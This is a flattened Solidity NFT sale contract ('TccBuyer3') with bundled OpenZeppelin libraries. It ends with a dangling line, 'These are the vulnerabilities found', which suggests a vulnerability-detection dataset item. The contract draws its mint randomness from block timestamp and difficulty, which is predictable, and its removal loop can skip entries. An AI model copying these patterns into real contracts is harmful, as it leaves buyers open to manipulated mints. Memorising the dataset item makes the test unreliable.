function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// File: contracts/ITccERC721.sol
pragma solidity ^0.8.0;
interface ITccERC721 {
function totalSupply() external view returns(uint256);
function tokenCount() external view returns(uint256);
function createCollectible(uint256 _number, address to) external;
}
// File: contracts/TccBuyer3.sol
pragma solidity ^0.8.0;
contract TccBuyer3 is Ownable {
using SafeMath for uint256;
using ECDSA for bytes32;
address public fredroERC721Address;
address public stickyERC721Address;
address public onyxERC721Address;
address public kuruptERC721Address;
address public dazERC721Address;
address public doggERC721Address;
ITccERC721 private _fredroContract;
ITccERC721 private _stickyContract;
ITccERC721 private _onyxContract;
ITccERC721 private _kuruptContract;
ITccERC721 private _dazContract;
ITccERC721 private _doggContract;
mapping (address => uint256) public amountCollected;
mapping (address => bool) public airdropped;
bool public saleOn = false;
uint256 public price = 5 * 10 ** 16; // 0.05 ETH
uint256 private nonce;
uint256 public maxAirdrop = 60;
uint256 public airdropCount = 0;
uint256 public buyCount = 0;
ITccERC721[] availableContracts;
event WithdrawnToOwner(address _operator, uint256 _ethWei);
event WithdrawnToEntities(address _operator, uint256 _ethWei);
event SaleChanged(bool _saleIsOn);
event NftBought(address indexed _from, uint256 _quantity);
event NftAirdropped(address indexed _from, uint256 _quantity);
// Distribution amount * rate / 1000
uint256 private CELEBRITY_RATE = 350;
uint256 private MAIN_RATE = 260;
uint256 private TEAM_RATE = 240;
uint256 private PARTNER_RATE = 50;
uint256 private PORTRAIT_RATE = 40;
uint256 private MARKETING_RATE = 40;
uint256 private SOCIAL_RATE = 20;
address payable public fredroCelebrityAddress = payable(0x09402C48eDE52C6eb1655B81fb39bb8e9b6B1F2A);
address payable public stickyCelebrityAddress = payable(0xf12760e8EEFac24dC47deb99A5bAB5Cd188db163);
address payable public onyxCelebrityAddress = payable(0x09402C48eDE52C6eb1655B81fb39bb8e9b6B1F2A);
address payable public kuruptCelebrityAddress = payable(0xD2DA904c6F5907fE8809Fb24F76E7338A5eDF665);
address payable public dazCelebrityAddress = payable(0xD2DA904c6F5907fE8809Fb24F76E7338A5eDF665);
address payable public doggCelebrityAddress = payable(0xD2DA904c6F5907fE8809Fb24F76E7338A5eDF665);
address payable public fredroPortraitAddress = payable(0x8b46Cb16c49739C77F157a8F1D6E8069fa920cAE);
address payable public stickyPortraitAddress = payable(0x2b2FE998757ae2A238637047Cc7B356dc56f76Da);
address payable public onyxPortraitAddress = payable(0x7Ae95A8d0E9Bc8c856D6027c204dd8279A04ECb8);
address payable public kuruptPortraitAddress = payable(0xB586D612DC53C9C632e3B039b4D8EdEc028daE70);
address payable public dazPortraitAddress = payable(0x7Ae95A8d0E9Bc8c856D6027c204dd8279A04ECb8);
address payable public doggPortraitAddress = payable(0x7Ae95A8d0E9Bc8c856D6027c204dd8279A04ECb8);
address payable public mainAddress = payable(0xd6d4d7FAf57f22830d978f793d033d115E605962);
address payable public teamAddress = payable(0x07D409e34786467F335fF8b7A69e300Effe7E2cf);
address payable public partnerAddress = payable(0x6d4FBA93638175e476D24a364b51687C7D12e4CE);
address payable public marketingAddress = payable(0xC82592Dd216Dcf4CFCB77309EFF8cAdEb4F7dd5F);
address payable public socialAddress = payable(0x5a952Ce385263daD8679e927823D78A116568Da2);
constructor(
address _fredroERC721Address,
address _stickyERC721Address,
address _onyxERC721Address,
address _kuruptERC721Address,
address _dazERC721Address,
address _doggERC721Address
) {
fredroERC721Address = _fredroERC721Address;
stickyERC721Address = _stickyERC721Address;
onyxERC721Address = _onyxERC721Address;
kuruptERC721Address = _kuruptERC721Address;
dazERC721Address = _dazERC721Address;
doggERC721Address = _doggERC721Address;
_fredroContract = ITccERC721(fredroERC721Address);
_stickyContract = ITccERC721(stickyERC721Address);
_onyxContract = ITccERC721(onyxERC721Address);
_kuruptContract = ITccERC721(kuruptERC721Address);
_dazContract = ITccERC721(dazERC721Address);
_doggContract = ITccERC721(doggERC721Address);
availableContracts.push(_fredroContract);
availableContracts.push(_stickyContract);
availableContracts.push(_onyxContract);
availableContracts.push(_kuruptContract);
availableContracts.push(_dazContract);
availableContracts.push(_doggContract);
}
struct ContractBalance {
uint256 fredroContractBalance;
uint256 stickyContractBalance;
uint256 onyxContractBalance;
uint256 kuruptContractBalance;
uint256 dazContractBalance;
uint256 doggContractBalance;
}
struct RecipientBalance {
uint256 _fredroCelebrityBalance;
uint256 _fredroPortraitBalance;
uint256 _stickyCelebrityBalance;
uint256 _stickyPortraitBalance;
uint256 _onyxCelebrityBalance;
uint256 _onyxPortraitBalance;
uint256 _kuruptCelebrityBalance;
uint256 _kuruptPortraitBalance;
uint256 _dazCelebrityBalance;
uint256 _dazPortraitBalance;
uint256 _doggCelebrityBalance;
uint256 _doggPortraitBalance;
uint256 _mainBalance;
uint256 _teamBalance;
uint256 _partnerBalance;
uint256 _marketingBalance;
uint256 _socialBalance;
}
// Modifiers
modifier saleIsOn() {
require(saleOn, "cannot purchase as the sale is off");
_;
}
modifier isClaimedAuthorized(uint256 quantity, bytes memory signature) {
require(verifySignature(quantity, signature) == owner(), "caller not authorized to get airdrop");
_;
}
function setPrice(uint256 newPrice) public onlyOwner {
require(newPrice > 0, 'TccBuyer: price must be > 0');
price = newPrice;
}
function setAirdropSupply(uint256 newMaxAirdrop) public onlyOwner {
require(newMaxAirdrop >= 0, 'TccBuyer: newAirdropSupply must be >= 0');
maxAirdrop = newMaxAirdrop;
}
function activateSale() public onlyOwner {
saleOn = true;
emit SaleChanged(saleOn);
}
function deactivateSale() public onlyOwner {
saleOn = false;
emit SaleChanged(saleOn);
}
function setPaymentRecipients(
address _fredroCelebrityAddress,
address _stickyCelebrityAddress,
address _onyxCelebrityAddress,
address _kuruptCelebrityAddress,
address _dazCelebrityAddress,
address _doggCelebrityAddress,
address _mainAddress,
address _teamAddress,
address _partnerAddress,
address _marketingAddress,
address _socialAddress
) external onlyOwner {
fredroCelebrityAddress = payable(_fredroCelebrityAddress);
stickyCelebrityAddress = payable(_stickyCelebrityAddress);
onyxCelebrityAddress = payable(_onyxCelebrityAddress);
kuruptCelebrityAddress = payable(_kuruptCelebrityAddress);
dazCelebrityAddress = payable(_dazCelebrityAddress);
doggCelebrityAddress = payable(_doggCelebrityAddress);
mainAddress = payable(_mainAddress);
teamAddress = payable(_teamAddress);
partnerAddress = payable(_partnerAddress);
marketingAddress = payable(_marketingAddress);
socialAddress = payable(_socialAddress);
}
function buyToken(uint256 quantity) external payable saleIsOn {
require(msg.value == price * quantity, "TccBuyer: not the right amount of ETH sent");
require(checkIfAvailableToMint(quantity + (maxAirdrop - airdropCount)), "the quantity exceed the supply");
randomMint(_msgSender(), quantity, true);
buyCount += quantity;
emit NftBought(_msgSender(), quantity);
}
function mintByOwner(uint256 quantity, address recipient) external onlyOwner {
require(checkIfAvailableToMint(quantity + (maxAirdrop - airdropCount)), "the quantity exceed the supply");
randomMint(recipient, quantity, false);
emit NftBought(_msgSender(), quantity);
}
function claimAirdrop(uint256 quantity, bytes memory signature) external saleIsOn isClaimedAuthorized(quantity, signature) {
require(!airdropped[msg.sender], "caller already got airdropped");
require((quantity + airdropCount) <= maxAirdrop, "quantity requested the exceed max airdrop");
randomMint(_msgSender(), quantity, false);
airdropped[msg.sender] = true;
airdropCount += quantity;
emit NftAirdropped(_msgSender(), quantity);
}
function checkIfAirdropped(address airDropAddress) public view returns(bool) {
return airdropped[airDropAddress];
}
function randomMint(address recipient, uint256 quantity, bool buyingContext) internal {
require(recipient != address(0), "address must be defined");
require(checkIfAvailableToMint(quantity), "the quantity exceed the supply");
for(uint i = 0; i < quantity; i++) {
setAvailableContracts();
require(availableContracts.length > 0, "can't mint in any contracts");
ITccERC721 stage2ERC721 = availableContracts[randomNumber()];
stage2ERC721.createCollectible(1, recipient);
if(buyingContext) {
amountCollected[address(stage2ERC721)] += price;
}
nonce++;
}
}
function verifySignature(uint256 quantity, bytes memory signature) internal view returns(address) {
return keccak256(abi.encodePacked(address(this), msg.sender, quantity))
.toEthSignedMessageHash()
.recover(signature);
}
function withdrawToOwner() external onlyOwner {
uint256 _amount = address(this).balance;
require(_amount > 0, "No ETH to Withdraw");
payable(_msgSender()).transfer(_amount);
emit WithdrawnToOwner(_msgSender(), _amount);
}
function checkIfAvailableToMint(uint256 quantity) public view returns(bool) {
uint _totalMinted;
uint _maxSupply;
for (uint i = 0; i < availableContracts.length; i++) {
_totalMinted += availableContracts[i].tokenCount();
_maxSupply += availableContracts[i].totalSupply();
}
return _totalMinted + quantity <= _maxSupply;
}
function setAvailableContracts() internal {
for (uint i = 0; i < availableContracts.length; i++) {
if(availableContracts[i].tokenCount() + 1 > availableContracts[i].totalSupply()) {
availableContracts[i] = availableContracts[availableContracts.length - 1];
availableContracts.pop();
}
}
}
function randomNumber() internal view returns (uint8) {
return uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, nonce))) % availableContracts.length);
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
function tokenCount() external view returns (uint) {
return _fredroContract.tokenCount() +
_stickyContract.tokenCount() +
_onyxContract.tokenCount() +
_kuruptContract.tokenCount() +
_dazContract.tokenCount() +
_doggContract.tokenCount()
;
}
function totalSupply() external view returns (uint) {
return _fredroContract.totalSupply() +
_stickyContract.totalSupply() +
_onyxContract.totalSupply() +
_kuruptContract.totalSupply() +
_dazContract.totalSupply() +
_doggContract.totalSupply()
;
}
function withdrawToEntities() external onlyOwner {
if(address(this).balance > 0) {
multiSend();
}
}
function multiSend() private {
ContractBalance memory contractBalance;
RecipientBalance memory recipientBalance;
contractBalance.fredroContractBalance = amountCollected[fredroERC721Address];
contractBalance.stickyContractBalance = amountCollected[stickyERC721Address];
contractBalance.onyxContractBalance = amountCollected[onyxERC721Address];
contractBalance.kuruptContractBalance = amountCollected[kuruptERC721Address];
contractBalance.dazContractBalance = amountCollected[dazERC721Address];
contractBalance.doggContractBalance = amountCollected[doggERC721Address];
uint256 totalBalance = address(this).balance;
require(totalBalance ==
contractBalance.fredroContractBalance +
contractBalance.stickyContractBalance +
contractBalance.onyxContractBalance +
contractBalance.kuruptContractBalance +
contractBalance.dazContractBalance +
contractBalance.doggContractBalance
, "problem in total amount to distribute");
if(contractBalance.fredroContractBalance > 0) {
recipientBalance._fredroCelebrityBalance += contractBalance.fredroContractBalance.mul(CELEBRITY_RATE).div(1000);
recipientBalance._fredroPortraitBalance += contractBalance.fredroContractBalance.mul(PORTRAIT_RATE).div(1000);
recipientBalance._mainBalance += contractBalance.fredroContractBalance.mul(MAIN_RATE).div(1000);
recipientBalance._teamBalance += contractBalance.fredroContractBalance.mul(TEAM_RATE).div(1000);
recipientBalance._partnerBalance += contractBalance.fredroContractBalance.mul(PARTNER_RATE).div(1000);
recipientBalance._marketingBalance += contractBalance.fredroContractBalance.mul(MARKETING_RATE).div(1000);
recipientBalance._socialBalance += contractBalance.fredroContractBalance.mul(SOCIAL_RATE).div(1000);
}
if(contractBalance.stickyContractBalance > 0) {
recipientBalance._stickyCelebrityBalance += contractBalance.stickyContractBalance.mul(CELEBRITY_RATE).div(1000);
recipientBalance._stickyPortraitBalance += contractBalance.stickyContractBalance.mul(PORTRAIT_RATE).div(1000);
recipientBalance._mainBalance += contractBalance.stickyContractBalance.mul(MAIN_RATE).div(1000);
recipientBalance._teamBalance += contractBalance.stickyContractBalance.mul(TEAM_RATE).div(1000);
recipientBalance._partnerBalance += contractBalance.stickyContractBalance.mul(PARTNER_RATE).div(1000);
recipientBalance._marketingBalance += contractBalance.stickyContractBalance.mul(MARKETING_RATE).div(1000);
recipientBalance._socialBalance += contractBalance.stickyContractBalance.mul(SOCIAL_RATE).div(1000);
}
if(contractBalance.onyxContractBalance > 0) {
recipientBalance._onyxCelebrityBalance += contractBalance.onyxContractBalance.mul(CELEBRITY_RATE).div(1000);
recipientBalance._onyxPortraitBalance += contractBalance.onyxContractBalance.mul(PORTRAIT_RATE).div(1000);
recipientBalance._mainBalance += contractBalance.onyxContractBalance.mul(MAIN_RATE).div(1000);
recipientBalance._teamBalance += contractBalance.onyxContractBalance.mul(TEAM_RATE).div(1000);
recipientBalance._partnerBalance += contractBalance.onyxContractBalance.mul(PARTNER_RATE).div(1000);
recipientBalance._marketingBalance += contractBalance.onyxContractBalance.mul(MARKETING_RATE).div(1000);
recipientBalance._socialBalance += contractBalance.onyxContractBalance.mul(SOCIAL_RATE).div(1000);
}
if(contractBalance.kuruptContractBalance > 0) {
recipientBalance._kuruptCelebrityBalance += contractBalance.kuruptContractBalance.mul(CELEBRITY_RATE).div(1000);
recipientBalance._kuruptPortraitBalance += contractBalance.kuruptContractBalance.mul(PORTRAIT_RATE).div(1000);
recipientBalance._mainBalance += contractBalance.kuruptContractBalance.mul(MAIN_RATE).div(1000);
recipientBalance._teamBalance += contractBalance.kuruptContractBalance.mul(TEAM_RATE).div(1000);
recipientBalance._partnerBalance += contractBalance.kuruptContractBalance.mul(PARTNER_RATE).div(1000);
recipientBalance._marketingBalance += contractBalance.kuruptContractBalance.mul(MARKETING_RATE).div(1000);
recipientBalance._socialBalance += contractBalance.kuruptContractBalance.mul(SOCIAL_RATE).div(1000);
}
if(contractBalance.dazContractBalance > 0) {
recipientBalance._dazCelebrityBalance += contractBalance.dazContractBalance.mul(CELEBRITY_RATE).div(1000);
recipientBalance._dazPortraitBalance += contractBalance.dazContractBalance.mul(PORTRAIT_RATE).div(1000);
recipientBalance._mainBalance += contractBalance.dazContractBalance.mul(MAIN_RATE).div(1000);
recipientBalance._teamBalance += contractBalance.dazContractBalance.mul(TEAM_RATE).div(1000);
recipientBalance._partnerBalance += contractBalance.dazContractBalance.mul(PARTNER_RATE).div(1000);
recipientBalance._marketingBalance += contractBalance.dazContractBalance.mul(MARKETING_RATE).div(1000);
recipientBalance._socialBalance += contractBalance.dazContractBalance.mul(SOCIAL_RATE).div(1000);
}
if(contractBalance.doggContractBalance > 0) {
recipientBalance._doggCelebrityBalance += contractBalance.doggContractBalance.mul(CELEBRITY_RATE).div(1000);
recipientBalance._doggPortraitBalance += contractBalance.doggContractBalance.mul(PORTRAIT_RATE).div(1000);
recipientBalance._mainBalance += contractBalance.doggContractBalance.mul(MAIN_RATE).div(1000);
recipientBalance._teamBalance += contractBalance.doggContractBalance.mul(TEAM_RATE).div(1000);
recipientBalance._partnerBalance += contractBalance.doggContractBalance.mul(PARTNER_RATE).div(1000);
recipientBalance._marketingBalance += contractBalance.doggContractBalance.mul(MARKETING_RATE).div(1000);
recipientBalance._socialBalance += contractBalance.doggContractBalance.mul(SOCIAL_RATE).div(1000);
}
transferToAddressETH(fredroCelebrityAddress, recipientBalance._fredroCelebrityBalance);
transferToAddressETH(stickyCelebrityAddress, recipientBalance._stickyCelebrityBalance);
transferToAddressETH(onyxCelebrityAddress, recipientBalance._onyxCelebrityBalance);
transferToAddressETH(kuruptCelebrityAddress, recipientBalance._kuruptCelebrityBalance);
transferToAddressETH(dazCelebrityAddress, recipientBalance._dazCelebrityBalance);
transferToAddressETH(doggCelebrityAddress, recipientBalance._doggCelebrityBalance);
transferToAddressETH(fredroPortraitAddress, recipientBalance._fredroPortraitBalance);
transferToAddressETH(stickyPortraitAddress, recipientBalance._stickyPortraitBalance);
transferToAddressETH(onyxPortraitAddress, recipientBalance._onyxPortraitBalance);
transferToAddressETH(kuruptPortraitAddress, recipientBalance._kuruptPortraitBalance);
transferToAddressETH(dazPortraitAddress, recipientBalance._dazPortraitBalance);
transferToAddressETH(doggPortraitAddress, recipientBalance._doggPortraitBalance);
transferToAddressETH(mainAddress, recipientBalance._mainBalance);
transferToAddressETH(teamAddress, recipientBalance._teamBalance);
transferToAddressETH(partnerAddress, recipientBalance._partnerBalance);
transferToAddressETH(marketingAddress, recipientBalance._marketingBalance);
transferToAddressETH(socialAddress, recipientBalance._socialBalance);
amountCollected[fredroERC721Address] -= contractBalance.fredroContractBalance;
amountCollected[stickyERC721Address] -= contractBalance.stickyContractBalance;
amountCollected[onyxERC721Address] -= contractBalance.onyxContractBalance;
amountCollected[kuruptERC721Address] -= contractBalance.kuruptContractBalance;
amountCollected[dazERC721Address] -= contractBalance.dazContractBalance;
amountCollected[doggERC721Address] -= contractBalance.doggContractBalance;
emit WithdrawnToEntities(_msgSender(), totalBalance);
}
} | These are the vulnerabilities found
